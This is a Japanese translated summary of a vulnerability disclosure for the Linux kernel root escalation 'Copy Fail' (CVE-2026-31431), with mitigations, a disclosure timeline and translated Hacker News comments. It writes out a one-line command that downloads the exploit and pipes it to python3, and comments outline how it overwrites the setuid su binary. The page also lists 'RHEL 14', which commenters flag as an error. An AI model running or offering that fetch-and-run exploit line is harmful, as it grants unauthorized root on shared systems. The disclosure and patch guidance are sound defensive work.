世界を動かす技術を、日本語で。

コピー失敗 – CVE-2026-31431

2026年4月30日原文(copy.fail)

概要

Copy Fail は、2017年からパッチ適用までの間にビルドされた Linuxカーネル に影響する深刻な脆弱性。 ほぼ全ての主要ディストリビューション がデフォルトで影響範囲内。 ローカルの非特権ユーザー がroot権限を取得可能。 PoC(実証コード) が公開されており、緊急のパッチ適用が推奨される。 AF_ALGモジュールの無効化 による一時的な緩和策も案内。

Copy Fail(CVE-2026-31431)脆弱性の概要

  • 同一のexploitバイナリ が、複数のLinuxディストリビューションで 無修正のまま動作
  • tmuxを使ったライブデモ で、4つの異なるディストリビューションでroot shell取得を実演
  • AF_ALG(カーネル暗号API) がデフォルトで有効なため、 2017年~パッチ適用までの全期間が影響範囲
  • 検証済みディストリビューション例
    • Ubuntu 24.04 LTS(カーネル6.17.0-1007-aws)
    • Amazon Linux 2023(6.18.8-9.213.amzn2023)
    • RHEL 14(6.12.0-124.45.1.el10_1)
    • SUSE 16(6.12.0-160000.9-default)
    • その他、Debian、Arch、Fedora、Rocky、Alma、Oracle等も同様に影響
  • 追加検証結果の報告受付 (GitHub Issueにて)

影響範囲とリスク評価

  • 高リスク:マルチテナントLinuxホスト
    • 開発用共有サーバ、ジャンプホスト、CIビルドサーバ等、複数ユーザーが同一カーネルを共有する環境
    • 任意ユーザーがroot化可能
  • 高リスク:Kubernetesやコンテナクラスタ
    • ページキャッシュがホスト間で共有 されるため、特定のPodからノード全体やテナント境界を突破
  • 高リスク:CIランナーやビルドファーム
    • GitHub ActionsやGitLab Runner等で、 PRコード実行時にroot奪取
  • 高リスク:クラウドSaaS上のユーザーコード実行基盤
    • Notebookホスト、サンドボックス、サーバーレス関数等で テナントがホストrootを取得
  • 中リスク:標準的なLinuxサーバ
    • シングルテナント運用(内部LPE、他攻撃との組み合わせでリスク上昇)
  • 低リスク:シングルユーザーPCやワークステーション
    • 既に唯一のユーザーであるため、 主にpost-exploitation用途

Exploit(実証コード)情報

  • PoC(copy_fail_exp.py)Python 3.10+ 標準ライブラリ のみで動作
    • デフォルトで /usr/bin/su をターゲットとし、任意のsetuidバイナリも指定可能
    • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
    • 実行例
      • $ curl https://copy.fail/exp | python3 && su
      • 実行後、idコマンドでroot権限を確認可能
  • 注意事項
    • 必ず所有または許可されたシステムのみで実行
    • ページキャッシュ編集のため、 再起動で変更は消失 するが、 root shell自体は実際に取得

緩和策とパッチ

  • 最優先:カーネルパッチ適用
    • mainline commit a664bf3d603d を含むカーネルパッケージへアップデート推奨
    • 2017年のalgif_aead in-place最適化を ロールバック し、ページキャッシュが書き込みscatterlistに入らないよう修正
  • パッチ前の暫定対策
    • algif_aeadモジュールの無効化
      • /etc/modprobe.d/disable-algif.confinstall algif_aead /bin/falseを記載
      • rmmod algif_aeadでモジュールをアンロード(既にロードされていなければ無視)
  • 影響しない代表例
    • dm-crypt / LUKS、kTLS、IPsec/XFRM、in-kernel TLS、OpenSSL/GnuTLS/NSSのデフォルト、SSH、カーネルキーチェーン暗号
  • 影響する可能性がある例
    • AF_ALGを明示的に有効化したOpenSSL や、一部組み込み用途、AF_ALGソケットを直接使うアプリ
    • lsof | grep AF_ALGss -xaで利用状況を確認
  • パフォーマンス影響
    • AF_ALG無効化による速度低下は限定的 (通常はユーザ空間暗号ライブラリへフォールバック)
  • CIやサンドボックス等の不正コード実行環境では、パッチ有無に関わらずseccompでAF_ALGソケット作成をブロック推奨

FAQ・開示タイムライン

  • 2026-03-23 Linux kernelセキュリティチームへ報告
  • 2026-03-24 初回受領
  • 2026-03-25 パッチ提案・レビュー
  • 2026-04-01 メインラインへパッチコミット
  • 2026-04-22 CVE-2026-31431割り当て
  • 2026-04-29 公開(https://copy.fail/)

Xint Codeについて

  • Copy Failは、Xint Codeによる自動スキャンで発見
    • Linux crypto/サブシステムを約1時間スキャンで検出
    • 根本原因・図解・発見プロンプト はXintブログで公開
    • 他にも複数の高深刻度バグを同時発見(詳細は調整中)
  • Xint Codeの実績
    • ZeroDay Cloud (Redis、PostgreSQL、MariaDB等のRCE自動発見)
    • DARPA AIxCC Top 3ファイナリスト
    • DEF CON CTF最多優勝チーム
  • 問い合わせ先
    • Xint Codeチームへのコンタクト推奨(詳細は公式サイト参照)

緊急性が高いため、直ちにカーネルパッチ適用とAF_ALG無効化の検討を推奨PoC公開済みのため、攻撃リスクが非常に高い状況

Hackerたちの意見

誰か、読みやすいバージョンのエクスプロイトって手に入る?正直、バイナリZIPの解釈を目で見て理解する授業、2回も落ちちゃったんだよね。

バイナリの「ZIP」はエクスプロイトじゃなくて、シェルコードだよ。エクスプロイトはそれ以外の部分で、SUID実行ファイル(su)のコードを変更するんだ。

zlibの呼び出しは、基本的に最小限のELFをsuバイナリの一部に上書きして、/bin/shを実行するんだよね。

緩和策について、ページには基本的にこう書いてあるよね。 > 「ディストリビューションのカーネルパッケージを、メインラインのコミットa664bf3d603dを含むものに更新してください。」 でも、どのカーネルバージョンにそれが含まれているのか、ちょっと分かりにくいな。Arch/CachyOSの場合、パッチは6.18.22以上、6.19.12以上、7.0以上に含まれているみたい。もし同じ安定版の下位バージョンを使っているなら、今は脆弱性がある可能性が高いよ。他のバージョンに修正が含まれているディストリビューションカーネルもあるから、自分のディストリビューションを確認してみて。

大手OSベンダーは修正バージョンのページを公開するよね。 https://security-tracker.debian.org/tracker/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 それに、algif_aeadを無効にすることも緩和策として提案されてる。

リモートが https://github.com/torvalds/linux.git と https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git のgitリポジトリで、コミット a664bf3d603d のコミットメッセージを検索すると、以下のタグが修正を含んでいることがわかる: v6.18.22 v6.18.23 v6.18.24 v6.18.25 v6.19.12 v6.19.13 v6.19.14 v7.0 v7.0.1 v7.0.2 v7.0-rc7 v7.1-rc1

これすごいね。ページにはRHEL 14.3で動くって書いてあるけど、そんなの存在しないよ。今のRHELは10.xだし、これはTARDISで作られたに違いない。

これすごいね。ページにはRHEL 14.3で動くって書いてあるけど、そんなの存在しないよ。今のRHELは10.xだし、これはTARDISで作られたに違いない。確かに。「直接確認したディストリビューション: RHEL 14.3」。俺が直接確認したら、AIの適当な情報だった(少なくともリリースページはね)。 https://access.redhat.com/articles/red-hat-enterprise-linux-... > ページの下部でセキュリティ専門家に相談してみて。彼の名前、クロードっていう気がするんだよね。でも、誤解しないで、彼は結構優秀らしいよ。

同じ行に「カーネルバージョン 6.12.0-124.45.1.el10_1」と書いてあるね。これはRHEL 10だ。この手のタイプミスは人間がよくやるやつで、難しい数字はコピペだから正確だけど、「簡単」な数字には間違いがあるってわけ。

14.3はRed Hat特有のGCCバージョンから来てるみたいで、「gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)」として報告されることがある。ググって見つけたランダムな例を見てみて: https://github.com/anthropics/claude-code/issues/40741 (システムバージョンの下に含まれる「Red Hat 14.3」のgccバージョン) https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...

うわ、ごめん、修正するべきだった。問題を説明するために情報を集めるのにバタバタしてて(もちろんマーケティングもね)、ちょっとしたミスがあった。指摘してくれてありがとう!

「RHEL 14.3」って何?このサイトは一発ネタだったのかな。質が高いね。

Hacker Newsで議論の続きを見る